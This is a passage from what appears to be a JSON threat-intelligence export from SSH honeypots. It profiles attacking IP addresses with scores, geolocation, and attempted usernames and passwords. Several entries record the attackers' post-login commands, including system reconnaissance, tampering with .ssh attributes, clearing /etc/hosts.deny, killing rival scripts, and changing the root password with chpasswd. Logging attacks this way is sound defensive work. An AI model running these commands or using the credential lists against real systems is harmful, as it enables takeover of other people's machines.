      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T00:21:05.596000+00:00",
        "last_seen_30d": "2026-03-16T00:22:22.744000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.183.104.161": {
      "attack_count": 2,
      "first_seen": "2026-03-25T07:07:21.517Z",
      "last_seen": "2026-03-25T07:07:35.911Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Amritsar",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T07:07:21.517000+00:00",
        "last_seen_30d": "2026-03-25T07:08:39.474000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.183.110.34": {
      "attack_count": 2,
      "first_seen": "2026-03-20T19:37:10.898Z",
      "last_seen": "2026-03-20T19:37:25.316Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Amritsar",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T19:37:10.898000+00:00",
        "last_seen_30d": "2026-03-20T19:38:31.165000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "83.224.132.158": {
      "attack_count": 2,
      "first_seen": "2026-03-05T08:43:38.622Z",
      "last_seen": "2026-03-05T08:43:52.324Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T08:43:38.622000+00:00",
        "last_seen_30d": "2026-03-05T08:44:53.204000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "89.232.79.104": {
      "attack_count": 2,
      "first_seen": "2026-03-09T00:25:56.705Z",
      "last_seen": "2026-03-09T00:26:10.011Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Kazan'",
      "asn": 28840,
      "as_org": "Pjsc tattelecom",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T00:25:56.705000+00:00",
        "last_seen_30d": "2026-03-09T00:27:11.962000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "93.120.145.193": {
      "attack_count": 2,
      "first_seen": "2026-03-27T21:59:27.050Z",
      "last_seen": "2026-03-27T22:01:27.052Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Nizhniy Novgorod",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T21:59:27.050000+00:00",
        "last_seen_30d": "2026-03-27T22:11:35.039000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.148.10.121": {
      "attack_count": 2492,
      "first_seen": "2026-03-02T00:04:02.640Z",
      "last_seen": "2026-03-31T21:15:22.106Z",
      "sessions": 471,
      "ports": [],
      "usernames_attempted": [
        "root",
        "AdminGPON",
        "admin",
        "user",
        "ubnt"
      ],
      "passwords_attempted": [
        "admin",
        "ALC#FGU",
        "user",
        "ubnt",
        "1234",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.client.fingerprint"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 95.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4674,
        "days_active_30d": 30,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T00:04:02.640000+00:00",
        "last_seen_30d": "2026-03-31T21:16:26.855000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2358,
        "Suricata": 2129,
        "Honeytrap": 183,
        "ConPot": 4
      }
    },
    "40.83.182.122": {
      "attack_count": 1233,
      "first_seen": "2026-03-04T17:25:55.403Z",
      "last_seen": "2026-03-21T23:10:08.813Z",
      "sessions": 126,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "aa",
        "clement",
        "g",
        "irfan",
        "kishore",
        "mahesh",
        "n8n",
        "ruby",
        "steam",
        "user8",
        "alex",
        "andre",
        "anthony",
        "appltest",
        "ax",
        "bbb",
        "bdos",
        "canon"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "password",
        "123",
        "12345678",
        "123456",
        "12345",
        "!QAZ2wsx",
        "123456789a@",
        "123qweASDzxc",
        "@qwer2024",
        "Ab123456",
        "Admin@2023",
        "As147258",
        "Downloader123",
        "Ftp123!",
        "Go123!",
        "Harish123!",
        "Jun123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nZSAtczhMDlTh\\nZSAtczhMDlTh\\n\"|passwd",
        "echo \"1234\\nzWHzEAYr7hiP\\nzWHzEAYr7hiP\\n\"|passwd",
        "echo \"Mahesh123\\nA9n6HYrRMihi\\nA9n6HYrRMihi\\n\"|passwd",
        "echo \"Ruby123\\nTljF88CQCTDM\\nTljF88CQCTDM\\n\"|passwd",
        "echo \"Steam\\nT4e2tyO0qyaF\\nT4e2tyO0qyaF\\n\"|passwd",
        "echo \"irfanirfan\\nbcrVIVZ0Z4si\\nbcrVIVZ0Z4si\\n\"|passwd",
        "echo \"kishore123\\nE2BYFgWNa0KI\\nE2BYFgWNa0KI\\n\"|passwd",
        "echo \"root:UMIZPzz0s1my\"|chpasswd|bash",
        "echo \"root:gsb1H78S2y6o\"|chpasswd|bash",
        "echo \"root:xIgif54RY5JJ\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 38.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 1524,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T17:25:55.403000+00:00",
        "last_seen_30d": "2026-03-21T23:11:12.529000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1233,
        "Suricata": 291
      }
    },
    "182.253.156.173": {
      "attack_count": 712,
      "first_seen": "2026-03-09T08:58:07.813Z",
      "last_seen": "2026-03-17T22:31:27.160Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "aman",
        "bart",
        "chris",
        "claude",
        "desktop",
        "go",
        "install",
        "root",
        "rstudio",
        "sai",
        "ubuntu",
        "admin",
        "arkserver",
        "certftp",
        "deploy",
        "firewall",
        "gianluca",
        "installer",
        "joao"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "12345678",
        "123",
        "12345",
        "1qazxsw2",
        "Certftp123",
        "Install123!",
        "One123",
        "Pwserver123!",
        "Root123456@",
        "Rstudio123!",
        "Sg123!",
        "Syncuser123",
        "aa123456",
        "amanpass",
        "asdf123",
        "david123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\norYe6E0S7XIg\\norYe6E0S7XIg\\n\"|passwd",
        "echo \"1234\\nbXhvGdpkF3tU\\nbXhvGdpkF3tU\\n\"|passwd",
        "echo \"1234\\nxdautGywS6lD\\nxdautGywS6lD\\n\"|passwd",
        "echo \"Install123!\\nGnwXRZN8VA5N\\nGnwXRZN8VA5N\\n\"|passwd",
        "echo \"Rstudio123!\\nFcZmh5BiZvoG\\nFcZmh5BiZvoG\\n\"|passwd",
        "echo \"amanpass\\n2BRm1C5ttq4I\\n2BRm1C5ttq4I\\n\"|passwd",
        "echo \"desktop123!\\nICn1NIt8ErqI\\nICn1NIt8ErqI\\n\"|passwd",
        "echo \"saipass\\nuTWIqRbKrhLK\\nuTWIqRbKrhLK\\n\"|passwd",
        "echo -e \"123456\\norYe6E0S7XIg\\norYe6E0S7XIg\"|passwd|bash",
        "echo -e \"1234\\nbXhvGdpkF3tU\\nbXhvGdpkF3tU\"|passwd|bash",
        "echo -e \"1234\\nxdautGywS6lD\\nxdautGywS6lD\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 17451,
      "as_org": "BIZNET NETWORKS",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.1,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 822,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T08:58:07.813000+00:00",
        "last_seen_30d": "2026-03-17T22:32:35.916000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 712,
        "Suricata": 110
      }
    },
    "175.118.127.138": {
      "attack_count": 688,
      "first_seen": "2026-03-11T11:39:59.041Z",
      "last_seen": "2026-03-24T13:47:00.012Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "arjun",
        "botuser",
        "ftp-user",
        "hath",
        "labs",
        "n8n",
        "xx",
        "alpha",
        "appuser",
        "bitrix",
        "cloud",
        "cyrus",
        "den",
        "ekp",
        "elemental",
        "elk",
        "external",
        "grid"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "1234",
        "123456",
        "12345678",
        "1994",
        "1Qaz2wsx",
        "Appuser123!",
        "Botuser123!",
        "Password1",
        "Qwertyu1",
        "Soporte123!",
        "Superset123",
        "Username123",
        "Xx123!",
        "alpha1234",
        "cyrus",
        "digitalocean"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nWIzdqO68uyrt\\nWIzdqO68uyrt\\n\"|passwd",
        "echo \"123\\naaT4HBpGQM6K\\naaT4HBpGQM6K\\n\"|passwd",
        "echo \"123\\nv5097cenqtTj\\nv5097cenqtTj\\n\"|passwd",
        "echo \"Botuser123!\\nqLCVBM69liut\\nqLCVBM69liut\\n\"|passwd",
        "echo \"Xx123!\\nPJ964itJgkt7\\nPJ964itJgkt7\\n\"|passwd",
        "echo \"labs123!\\n0pL3wpBDIbQB\\n0pL3wpBDIbQB\\n\"|passwd",
        "echo \"n8n\\n4Me84zxJlAcK\\n4Me84zxJlAcK\\n\"|passwd",
        "echo -e \"12345678\\nWIzdqO68uyrt\\nWIzdqO68uyrt\"|passwd|bash",
        "echo -e \"123\\naaT4HBpGQM6K\\naaT4HBpGQM6K\"|passwd|bash",
        "echo -e \"123\\nv5097cenqtTj\\nv5097cenqtTj\"|passwd|bash",
        "echo -e \"Botuser123!\\nqLCVBM69liut\\nqLCVBM69liut\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangdong-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 40.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.1,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 814,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T11:39:59.041000+00:00",
        "last_seen_30d": "2026-03-24T13:48:04.119000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 688,
        "Suricata": 126
      }
    },
    "103.186.1.197": {
      "attack_count": 575,
      "first_seen": "2026-03-03T08:57:30.254Z",
      "last_seen": "2026-03-21T14:33:22.120Z",
      "sessions": 45,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "abdel",
        "hong",
        "bot1",
        "elegram",
        "es",
        "omm",
        "pzuser",
        "root1",
        "srs",
        "webapp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "Bingo@1993",
        "!QAZ2wsx3edc$RFV",
        "12332112",
        "123456",
        "1234567@",
        "123@",
        "123@123Abc",
        "134679852",
        "1qaz!qaz",
        "456",
        "By123456",
        "Hong123",
        "Li123456",
        "Pakistan@123",
        "Qaz12345678!",
        "Telegram123!",
        "Woaini123."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Hong123\\n2d0AycEvR9um\\n2d0AycEvR9um\\n\"|passwd",
        "echo \"abdelpass\\nhjcCbRVoMVmr\\nhjcCbRVoMVmr\\n\"|passwd",
        "echo \"root:B61F6gxXvbxD\"|chpasswd|bash",
        "echo \"root:E9ZI7VNBLoUJ\"|chpasswd|bash",
        "echo \"root:YM1G6XLqOf68\"|chpasswd|bash",
        "echo \"root:y60d6Nhboti2\"|chpasswd|bash",
        "echo -e \"Hong123\\n2d0AycEvR9um\\n2d0AycEvR9um\"|passwd|bash",
        "echo -e \"abdelpass\\nhjcCbRVoMVmr\\nhjcCbRVoMVmr\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 37.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.3,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 681,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T08:57:30.254000+00:00",
        "last_seen_30d": "2026-03-21T14:34:27.650000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 575,
        "Suricata": 106
      }
    },
    "202.165.29.119": {
      "attack_count": 531,
      "first_seen": "2026-03-15T18:17:45.423Z",
      "last_seen": "2026-03-18T21:58:10.995Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "alexis",
        "elk",
        "qiyuesuo",
        "ubuntu",
        "adi",
        "admin",
        "ana",
        "csgo",
        "dev",
        "dp",
        "harish",
        "irfan",
        "kingbase",
        "lawrence",
        "live",
        "noreply",
        "pepe",
        "plex"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "password",
        "1234",
        "123456",
        "12345678",
        "12345",
        "314159",
        "Csgo123!",
        "P@ssw0rd01!",
        "Pass1234",
        "Pepe123",
        "Plex",
        "Qwert!123456",
        "Test5123!",
        "Tester",
        "abc.12345",
        "anaana",
        "elk@123456"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1234\\n6H1ocstNc5dL\\n6H1ocstNc5dL\\n\"|passwd",
        "echo \"123\\nrKjF5gwxANE3\\nrKjF5gwxANE3\\n\"|passwd",
        "echo \"elk@123456\\nkGBHUf5EZMJK\\nkGBHUf5EZMJK\\n\"|passwd",
        "echo \"root:SGvwAusMMKGg\"|chpasswd|bash",
        "echo \"root:eQebFdvpHGb6\"|chpasswd|bash",
        "echo -e \"1234\\n6H1ocstNc5dL\\n6H1ocstNc5dL\"|passwd|bash",
        "echo -e \"123\\nrKjF5gwxANE3\\nrKjF5gwxANE3\"|passwd|bash",
        "echo -e \"elk@123456\\nkGBHUf5EZMJK\\nkGBHUf5EZMJK\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": null,
      "asn": 18206,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.0,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 637,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T18:17:45.423000+00:00",
        "last_seen_30d": "2026-03-18T21:59:17.115000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 531,
        "Suricata": 106
      }
    },
    "134.209.244.190": {
      "attack_count": 435,
      "first_seen": "2026-03-03T16:22:15.575Z",
      "last_seen": "2026-03-03T17:19:37.886Z",
      "sessions": 86,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "oracle",
        "postgres",
        "test",
        "zabbix"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "1234567890",
        "passw0rd",
        "password",
        "admin",
        "oracle",
        "postgres",
        "root",
        "root1",
        "root12",
        "root123",
        "root1234"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 619,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T16:22:04.964000+00:00",
        "last_seen_30d": "2026-03-03T17:29:47.774000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 435,
        "Suricata": 184
      }
    },
    "172.174.5.146": {
      "attack_count": 385,
      "first_seen": "2026-03-02T20:28:34.596Z",
      "last_seen": "2026-03-17T00:39:45.611Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1",
        "bitwarden",
        "ravi",
        "apagar",
        "aroot",
        "asus",
        "ben",
        "ftp-user",
        "gestion",
        "icecast"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1233218613f",
        "123456",
        "123",
        "12345678",
        "1qa2ws#ED",
        "AA@123321",
        "P@Ssw0rd",
        "P@ssw0rd@2026",
        "a12345678!",
        "a3a3a3a3",
        "aaa123!@#",
        "admin@1234",
        "bitwarden",
        "developer",
        "gestion1234",
        "huawei12#$",
        "icecastpass",
        "password"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1233218613f\\nJITqK7LdO6fy\\nJITqK7LdO6fy\\n\"|passwd",
        "echo \"bitwarden\\n1EtxVHuALOVX\\n1EtxVHuALOVX\\n\"|passwd",
        "echo \"ravi\\nvITYd6tkdBCM\\nvITYd6tkdBCM\\n\"|passwd",
        "echo \"root:vq23U92DvERm\"|chpasswd|bash",
        "echo -e \"1233218613f\\nJITqK7LdO6fy\\nJITqK7LdO6fy\"|passwd|bash",
        "echo -e \"bitwarden\\n1EtxVHuALOVX\\n1EtxVHuALOVX\"|passwd|bash",
        "echo -e \"ravi\\nvITYd6tkdBCM\\nvITYd6tkdBCM\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.6,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 453,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T20:28:34.596000+00:00",
        "last_seen_30d": "2026-03-17T00:40:54.405000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 385,
        "Suricata": 68
      }
    },
    "167.71.115.113": {
